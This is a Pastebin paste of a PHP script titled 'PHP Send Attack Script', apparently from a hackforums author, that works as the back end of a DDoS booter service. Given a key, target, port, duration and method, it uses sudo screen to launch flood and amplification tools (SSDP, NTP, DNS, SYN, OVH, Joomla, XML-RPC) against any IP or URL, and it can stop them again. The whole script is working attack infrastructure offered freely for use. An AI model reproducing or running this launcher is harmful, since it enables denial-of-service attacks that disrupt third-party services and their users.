Advertisement
KhaosBringer

PHP Send Attack Script.php

Nov 24th, 2018
872
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 8.23 KB | None | 0 0
  1. <?php
  2.  
  3. /**
  4.  * PHP Send Attack Script
  5.  * Free for anyone to use :D
  6.  * By far the most secure script out there kek
  7.  *
  8.  * @author  AppleJuice (http://www.hackforums.net/member.php?action=profile&uid=961257)
  9.  */
  10.  
  11. header("Content-Type: application/json");
  12.  
  13. // enable debugging?
  14. define("DEBUG", false);
  15.  
  16. if (DEBUG) {
  17.     ini_set("display_errors", "On");
  18.     error_reporting(-1);
  19. } else {
  20.     ini_set("display_errors", "Off");
  21.     error_reporting(0);
  22. }
  23.  
  24. // valid keys
  25. $validKeys = array(
  26.     "YourKeyHere",
  27. );
  28.  
  29. // allowed attack methods
  30. $validMethods = array(
  31.     // attack methods
  32.     "SSDP", "DNS",  "NTP",    "CHARGEN",  "TS3",
  33.     "TCP",  "SSYN", "ESSYN",  "UDP",      "OVH",
  34.     "VSE",  "ARME", "RUDY",   "GET",
  35.     "HEAD", "POST", "JOOMLA", "DOMINATE", "XML-RPC",
  36.     // options
  37.     "stop", "help", "list"
  38. );
  39.  
  40. // default response
  41. $response = array(
  42.     "success" => false,
  43.     "error"   => true,
  44. );
  45.  
  46. // because OCD
  47. function prettyPrint( $json )
  48. {
  49.     $result = '';
  50.     $level = 0;
  51.     $in_quotes = false;
  52.     $in_escape = false;
  53.     $ends_line_level = NULL;
  54.     $json_length = strlen( $json );
  55.  
  56.     for( $i = 0; $i < $json_length; $i++ ) {
  57.         $char = $json[$i];
  58.         $new_line_level = NULL;
  59.         $post = "";
  60.         if( $ends_line_level !== NULL ) {
  61.             $new_line_level = $ends_line_level;
  62.             $ends_line_level = NULL;
  63.         }
  64.         if ( $in_escape ) {
  65.             $in_escape = false;
  66.         } else if( $char === '"' ) {
  67.             $in_quotes = !$in_quotes;
  68.         } else if( ! $in_quotes ) {
  69.             switch( $char ) {
  70.                 case '}': case ']':
  71.                     $level--;
  72.                     $ends_line_level = NULL;
  73.                     $new_line_level = $level;
  74.                     break;
  75.  
  76.                 case '{': case '[':
  77.                     $level++;
  78.                 case ',':
  79.                     $ends_line_level = $level;
  80.                     break;
  81.  
  82.                 case ':':
  83.                     $post = " ";
  84.                     break;
  85.  
  86.                 case " ": case "\t": case "\n": case "\r":
  87.                     $char = "";
  88.                     $ends_line_level = $new_line_level;
  89.                     $new_line_level = NULL;
  90.                     break;
  91.             }
  92.         } else if ( $char === '\\' ) {
  93.             $in_escape = true;
  94.         }
  95.         if( $new_line_level !== NULL ) {
  96.             $result .= "\n".str_repeat( "\t", $new_line_level );
  97.         }
  98.         $result .= $char.$post;
  99.     }
  100.  
  101.     return $result;
  102. }
  103.  
  104. // check for key, target, port, time and method
  105. if (isset($_GET['key'], $_GET['target'], $_GET['port'], $_GET['time'], $_GET['method'])) {
  106.     // validate the request info
  107.     if (
  108.         // make sure shit was specified
  109.         !empty($_GET['key'])  && !empty($_GET['target']) && !empty($_GET['port']) &&
  110.         !empty($_GET['time']) && !empty($_GET['method']) &&
  111.        
  112.         // validate types
  113.         is_string($_GET['key'])    && is_string($_GET['target']) &&
  114.         is_string($_GET['time'])   && is_string($_GET['method']) &&
  115.         ctype_digit($_GET['port']) && ctype_digit($_GET['time']) &&
  116.        
  117.         // validate target
  118.         (
  119.             filter_var($_GET['target'], FILTER_VALIDATE_IP) ||
  120.             filter_var($_GET['target'], FILTER_VALIDATE_URL)
  121.         ) &&
  122.        
  123.         // validate time & ports
  124.         (
  125.             $_GET['time'] > 0 && $_GET['time'] < 14400 &&
  126.             $_GET['port'] > 0 && $_GET['port'] < 65535 // max 16-bit # for ports
  127.         )
  128.     ) {
  129.         // check for valid key
  130.         if (in_array($_GET['key'], $validKeys)) {
  131.             // check for valid method
  132.             if (in_array($_GET['method'], $validMethods)) {
  133.                 // escape that shit
  134.                 $key    = escapeshellarg(escapeshellcmd($_GET['key']));
  135.                 $target = escapeshellarg(escapeshellcmd($_GET['target']));
  136.                 $port   = escapeshellarg(escapeshellcmd((int)$_GET['port']));
  137.                 $time   = escapeshellarg(escapeshellcmd((int)$_GET['time']));
  138.                 $proc   = hash('crc32', $target);
  139.                
  140.                 // attempt to parse URL
  141.                 if (filter_var($_GET['target'], FILTER_VALIDATE_URL)) {
  142.                     if (($url = parse_url($_GET['target'])) !== null) {
  143.                         $response['error']   = false;
  144.                         $target = $url['scheme'] . "://" . $url['host'];
  145.                     } else {
  146.                         $response['message'] = "Invalid URL";
  147.                     }
  148.                 } else if (filter_var($_GET['target'], FILTER_VALIDATE_IP)) {
  149.                     $response['error']   = false;
  150.                 }
  151.                
  152.                 if (DEBUG) {
  153.                     // pass request info into response, should be removed later
  154.                     $response['request'] = array(
  155.                         "target" => $target,
  156.                         "port"   => $port,
  157.                         "time"   => $time,
  158.                         "method" => $_GET['method'],
  159.                         "proc"   => $proc,
  160.                     );
  161.                 }
  162.                
  163.                 if ($response['error'] === false) {
  164.                     // attack methods switch
  165.                     switch ($_GET['method']) {
  166.                         case "SSDP":
  167.                             $response['response'] = shell_exec("sudo screen -d -m -S $proc ./ssdp $target $port ssdpamp 4 $time");
  168.                             $response['message'] = "Attack sent to " . $target . ":" . $_GET['port'];
  169.                             $response['success'] = true;
  170.                         break;
  171.                         case "UDP":
  172.                             $response['response'] = shell_exec("sudo screen -d -m -S $proc ./50x $target $port dnsamp 4 $time");
  173.                             $response['message'] = "Attack sent to " . $target . ":" . $_GET['port'];
  174.                             $response['success'] = true;
  175.                         break;             
  176.                         case "SSYN":
  177.                             $response['response'] = shell_exec("sudo screen -d -m -S $proc ./ssyn $target $port 4 $time");
  178.                             $response['message'] = "Attack sent to " . $target . ":" . $_GET['port'];
  179.                             $response['success'] = true;
  180.                         break;
  181.                         case "ESSYN":
  182.                             $response['response'] = shell_exec("sudo screen -d -m -S $proc ./essyn $target $port 4 -1 $time");
  183.                             $response['message'] = "Attack sent to " . $target . ":" . $_GET['port'];
  184.                             $response['success'] = true;
  185.                         break;
  186.                         case "TCP":
  187.                             $response['response'] = shell_exec("sudo screen -d -m -S $proc ./tcp $target $port 4 -1 $time");
  188.                             $response['message'] = "Attack sent to " . $target . ":" . $_GET['port'];
  189.                             $response['success'] = true;
  190.                         break;
  191.                         case "DOMINATE":
  192.                             $response['response'] = shell_exec("sudo screen -d -m -S $proc ./dominate $target $port 4 -1 $time");
  193.                             $response['message'] = "Attack sent to " . $target . ":" . $_GET['port'];
  194.                             $response['success'] = true;
  195.                         break;
  196.                         case "TS3":
  197.                             $response['response'] = shell_exec("sudo screen -d -m -S $proc ./ts3 $target $port ts3amp 4 $time");
  198.                             $response['message'] = "Attack sent to " . $target . ":" . $_GET['port'];
  199.                             $response['success'] = true;
  200.                         break;
  201.                         case "JOOMLA":
  202.                             $response['response'] = shell_exec("sudo screen -d -m -S $proc ./joomla $target joomamp $time 1000");
  203.                             $response['message'] = "Attack sent to " . $target . ":" . $_GET['port'];
  204.                             $response['success'] = true;
  205.                         break;
  206.                         case "XML-RPC":
  207.                             $response['response'] = shell_exec("sudo screen -d -m -S $proc ./xml $target xmlamp $time 1000");
  208.                             $response['message'] = "Attack sent to " . $target . ":" . $_GET['port'];
  209.                             $response['success'] = true;
  210.                         break;
  211.                         case "OVH":
  212.                             $response['response'] = shell_exec("sudo screen -d -m -S $proc ./ovh $target $port pvhamp 4 $time");
  213.                             $response['message'] = "Attack sent to " . $target . ":" . $_GET['port'];
  214.                             $response['success'] = true;
  215.                         break;
  216.                         case "stop":
  217.                             $response['response'] = shell_exec("sudo pkill -f " . $proc);
  218.                             $response['message'] = "Attack stopped to " . $target . ":" . $_GET['port'];
  219.                             $response['success'] = true;
  220.                         break;
  221.                        
  222.                         // method to return valid attack methods
  223.                         case "list":
  224.                         case "help";
  225.                             $response['message'] = "Acceptable attack methods: " . implode(",", $validMethods);
  226.                         break;
  227.                        
  228.                         // if method is valid but wasn't handled, return an error
  229.                         default:
  230.                             $response['message'] = "Internal server error. A valid method was requested but could not be handled.";
  231.                         break;
  232.                     }
  233.                 }
  234.             } else {
  235.                 $response['message'] = "Invalid attack method";
  236.             }
  237.         } else {
  238.             $response['message'] = "Invalid key";
  239.         }
  240.     } else {
  241.         $response['message'] = "Illegal request";
  242.     }
  243. } else {
  244.     $response['message'] = "Invalid API request";
  245. }
  246.  
  247. // remove response if we ain't debugging
  248. if (!DEBUG) {
  249.     unset($response['response']);
  250. }
  251.  
  252. // encode response array to json
  253. echo prettyPrint(json_encode($response, true));
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement